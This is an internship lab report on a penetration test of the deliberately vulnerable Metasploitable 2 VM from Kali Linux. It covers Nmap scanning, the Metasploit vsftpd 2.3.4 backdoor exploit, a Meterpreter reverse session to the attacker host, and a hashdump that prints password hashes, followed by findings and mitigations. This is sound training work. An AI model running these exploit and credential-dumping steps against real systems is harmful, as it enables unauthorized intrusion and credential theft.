

APEXPLANET SOFTWARE PVT. LTD.

Cybersecurity & Ethical Hacking Internship

TASK 4 — PENETRATION TESTING REPORT

Exploitation & System Security

Objective:

1. The objective of this activity was to perform a controlled penetration-testing assessment against the Metasploitable target using the Kali Linux attacker machine.
2. The assessment followed the stages of reconnaissance, scanning, exploitation, post-exploitation and reporting within the isolated Host-Only laboratory environment.

Lab Environment:

The penetration-testing assessment was performed in the controlled cybersecurity laboratory configured using Oracle VirtualBox. Kali Linux was used as the attacker and testing machine, while Metasploitable 2 was used as the intentionally vulnerable target.

Both virtual machines were connected through the private Host-Only network, allowing all testing to remain inside the isolated laboratory.

Component	Configuration
Virtualization	Oracle VirtualBox
Attacker Machine	Kali Linux
Target Machine	Metasploitable 2
Network Type	Host-Only Adapter
Kali IP	192.168.56.101
Target IP	192.168.56.102
Primary Tools	Nmap, Metasploit Framework, Meterpreter

Penetration Testing Methodology

The assessment was performed in sequential stages so that information collected during reconnaissance and scanning could be used to identify a suitable vulnerability for controlled exploitation.

1. Reconnaissance — identify the target and confirm network reachability.
2. Scanning — enumerate open ports and identify exposed services and versions.
3. Vulnerability Identification — examine the discovered service information for known vulnerable software.
4. Exploitation — use Metasploit against the intentionally vulnerable vsftpd service.
5. Post-Exploitation — establish a session and collect system information and password hashes.

6. Reporting — document evidence, impact, observations and mitigation recommendations.

Stage 1 — Reconnaissance

The target Metasploitable 2 machine was identified on the private Host-Only network at 192.168.56.102. Kali Linux used 192.168.56.101 on the same network. The isolated configuration ensured that testing was restricted to the intentionally vulnerable laboratory target.

A basic connectivity check confirmed that the target was reachable before the network scan was performed.

Stage 2 — Network Scanning

Nmap was used to enumerate TCP services exposed by the target. The service and version scan provided the information required to identify software versions running on the open ports.

```
nmap -Pn -sV 192.168.56.102
```

The scan revealed several intentionally vulnerable services. One important result was FTP running vsftpd version 2.3.4 on TCP port 21.

```
kali@kali: ~  
Session Actions Edit View Help  
(kali@kali)-[~]  
$ sudo nmap -sV 192.168.56.102  
[sudo] password for kali:  
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-08 04:21 -0400  
Nmap scan report for 192.168.56.102 (192.168.56.102)  
Host is up (0.042s latency).  
Not shown: 977 closed tcp ports (reset)  
PORT      STATE SERVICE      VERSION  
21/tcp    open  ftp          vsftpd 2.3.4  
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)  
23/tcp    open  telnet       Linux telnetd  
25/tcp    open  smtp         Postfix smtpd  
53/tcp    open  domain       ISC BIND 9.4.2  
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)  
111/tcp   open  rpcbind      2 (RPC #100000)  
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
512/tcp   open  exec         netkit-rsh rshd  
513/tcp   open  login        OpenBSD or Solaris rlogind  
514/tcp   open  shell        Netkit rshd  
1099/tcp  open  java-rmi     GNU Classpath grmiregistry  
1524/tcp  open  bindshell    Metasploitable root shell  
2049/tcp  open  nfs          2-4 (RPC #100003)  
2121/tcp  open  ftp          ProFTPD 1.3.1  
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5  
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7  
5900/tcp  open  vnc          VNC (protocol 3.3)  
6000/tcp  open  X11          (access denied)  
6667/tcp  open  irc          UnrealIRCd  
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)  
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1  
MAC Address: 08:00:27:C3:A8:49 (Oracle VirtualBox virtual NIC)  
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 12.49 seconds  
(kali@kali)-[~]  
$
```

Figure 1: Nmap scan results showing exposed services on Metasploitable 2.

Stage 3 — Vulnerability Identification

The Nmap service and version information showed that the target was running vsftpd 2.3.4. This version is associated with a known backdoor vulnerability and was selected for controlled exploitation in the laboratory.

Service	FTP
Port	21/tcp
Detected Version	vsftpd 2.3.4
Assessment	Known intentionally vulnerable service
Exploitation Tool	Metasploit Framework

Stage 4 — Exploitation

Metasploit Framework was used to exploit the vsftpd 2.3.4 backdoor vulnerability. The target address was configured as 192.168.56.102 and the FTP service was targeted on port 21.

```
use
exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.56.102
set RPORT 21
exploit
```

The exploit successfully detected the vulnerable FTP banner, triggered the backdoor and opened a Meterpreter session on the target. This confirmed that the intentionally vulnerable service could be exploited to obtain access to the target system.

Exploitation Result

Target	192.168.56.102
Vulnerable Service	vsftpd 2.3.4
Exploit Module	exploit/unix/ftp/vsftpd_234_backdoor
Result	Successful
Session	Meterpreter session established

Stage 5 — Post-Exploitation

After successful exploitation, the established Meterpreter session was used to gather information about the compromised system. The sysinfo command was executed to obtain system information and verify the target environment.

```
sysinfo
```

Linux password hashes were then collected using the Linux post-exploitation hashdump module. The module completed successfully and returned password hash information from the target system.

```
use post/linux/gather/hashdump
set SESSION 1
run
```

```
kali@kali: ~  
Session Actions Edit View Help  
Exploit target:  
  Id  Name  
  --  --  
  0   Linux/Unix Command  
View the full module info with the info, or info -d command.  
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit  
[*] Started reverse TCP handler on 192.168.56.101:4444  
[*] 192.168.56.102:21 - Running automatic check ("set AutoCheck false" to disable)  
[*] 192.168.56.102:21 - FTP banner hints its vulnerable: 220 (vsFTPD 2.3.4)  
[*] 192.168.56.102:21 - The target appears to be vulnerable. vsftpd 2.3.4 banner detected; backdoor may be present  
[*] 192.168.56.102:21 - Backdoor has been spawned!  
[*] Meterpreter session 1 opened (192.168.56.101:4444 → 192.168.56.102:41113) at 2026-10-08 04:31:00 -0400  
meterpreter > sysinfo  
Computer      : metasploitable.localdomain  
OS            : Ubuntu 8.04 (Linux 2.6.24-16-server)  
Architecture : i686  
BuildTuple    : i486-linux-musl  
Meterpreter   : x86/linux  
meterpreter > hashdump  
[-] The "hashdump" command requires the "priv" extension to be loaded (run: 'load priv')  
meterpreter > load priv  
Loading extension priv...  
[-] Failed to load extension: The "priv" extension is not supported by this Meterpreter type (x86/linux)  
[-] The "priv" extension is supported by the following Meterpreter payloads:  
[-] windows/x64/meterpreter*  
[-] windows/meterpreter*  
meterpreter > background  
[*] Backgrounding session 1...  
msf exploit(unix/ftp/vsftpd_234_backdoor) > use post/linux/gather/hashdump  
msf post(linux/gather/hashdump) > set SESSION 1  
SESSION => 1  
msf post(linux/gather/hashdump) > run  
root:$1$/avpfBJ1$X0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash  
[+] sys:$1$/UX6BP0t$M1yc3Up0zQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh  
[+] klog:$1$/f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false  
[+] msfadmin:$1$/XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash  
[+] postgres:$1$/Rw351k.x$MgQgZUu05pAoUvfJhfCYe/:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash  
[+] user:$1$/HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:just a user,111,,,:/home/user:/bin/bash  
[+] service:$1$/kR3ue7JZ$7GxELDupr50hp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/bash  
[+] Unshadowed Password File: /home/kali/.msf4/loot/20261008043437_default_192.168.56.102_linux.hashes_164255.txt  
[*] Post module execution completed  
msf post(linux/gather/hashdump) > █
```

Figure 2: Metasploit exploitation, Meterpreter session, system information and Linux hashdump evidence.

Post-Exploitation Observation

The successful Meterpreter session demonstrated that exploitation of the vulnerable FTP service provided access beyond simple service enumeration. System information and password hash data could subsequently be gathered through post-exploitation activities.

Detailed Analysis

The assessment demonstrated a complete controlled penetration-testing path from network discovery to exploitation and post-exploitation. Nmap provided the initial service map, while the detected vsftpd 2.3.4 version provided the basis for selecting the Metasploit exploit module.

The successful exploitation confirmed that the vulnerable service represented a significant security risk. The resulting session allowed further information gathering from the target, demonstrating the potential impact of leaving known vulnerable services exposed.

The assessment also highlighted the importance of reducing unnecessary network exposure. Metasploitable 2 intentionally exposes numerous vulnerable services for security testing, but in a real environment, unnecessary services would increase the attack surface and provide attackers with additional opportunities for exploitation.

Overall, the assessment demonstrated that penetration testing should not stop at identifying open ports. Service enumeration, vulnerability identification, controlled exploitation, and post-exploitation analysis provide a more complete understanding of the actual security impact of an exposed service.

Security Findings

Finding	Severity	Evidence / Impact	Recommended Mitigation
vsftpd 2.3.4 Backdoor	Critical	FTP service was successfully exploited and a Meterpreter session was established.	Remove/upgrade vulnerable software and disable unnecessary FTP services.
Excessive Network Exposure	High	Multiple network services were exposed on the target.	Disable unused services and restrict network access with firewall rules.
Password Hash Exposure	High	Linux password hashes were obtained during post-exploitation.	Use strong password policies, protect credential stores and restrict privileged access.

Mitigation Recommendations

The following controls are recommended to reduce the risks demonstrated during the assessment:

- Remove or upgrade vulnerable versions of FTP software such as vsftpd 2.3.4.
- Disable FTP services when they are not required for business functionality.
- Restrict exposed services using host-based and network firewalls.
- Perform regular vulnerability scanning and patch management.
- Use secure alternatives such as SFTP where file transfer is required.
- Protect password hashes and restrict access to credential databases.
- Monitor authentication and service logs for suspicious activity.
- Segment sensitive systems so that compromise of one service does not provide broad network access.

Results

Activity	Result
Target reconnaissance	Successfully completed
Nmap service enumeration	Successfully completed
Vulnerable service identification	vsftpd 2.3.4 identified
Metasploit exploitation	Successfully completed
Meterpreter session	Successfully established
System information gathering	Successfully completed
Linux hashdump	Successfully completed using post-exploitation module

Security Observations

The assessment showed that an outdated and intentionally vulnerable network service can provide an entry point into a system when it is exposed without appropriate controls.

The results demonstrate the importance of service minimization, timely patching, vulnerability assessment, network segmentation and monitoring. The findings are limited to the controlled Metasploitable 2 laboratory environment and should not be interpreted as an assessment of any production system.

Conclusion

The penetration-testing assessment was successfully completed against the Metasploitable 2 target in the isolated laboratory environment. Nmap was used to identify exposed services and versions, leading to the identification of the vulnerable vsftpd 2.3.4 service.

The service was successfully exploited using the Metasploit Framework, resulting in a Meterpreter session. Post-exploitation activities included system information gathering and Linux password hash collection. The exercise demonstrated the complete reconnaissance, scanning, exploitation and post-exploitation workflow and highlighted the importance of patching, service hardening and access control.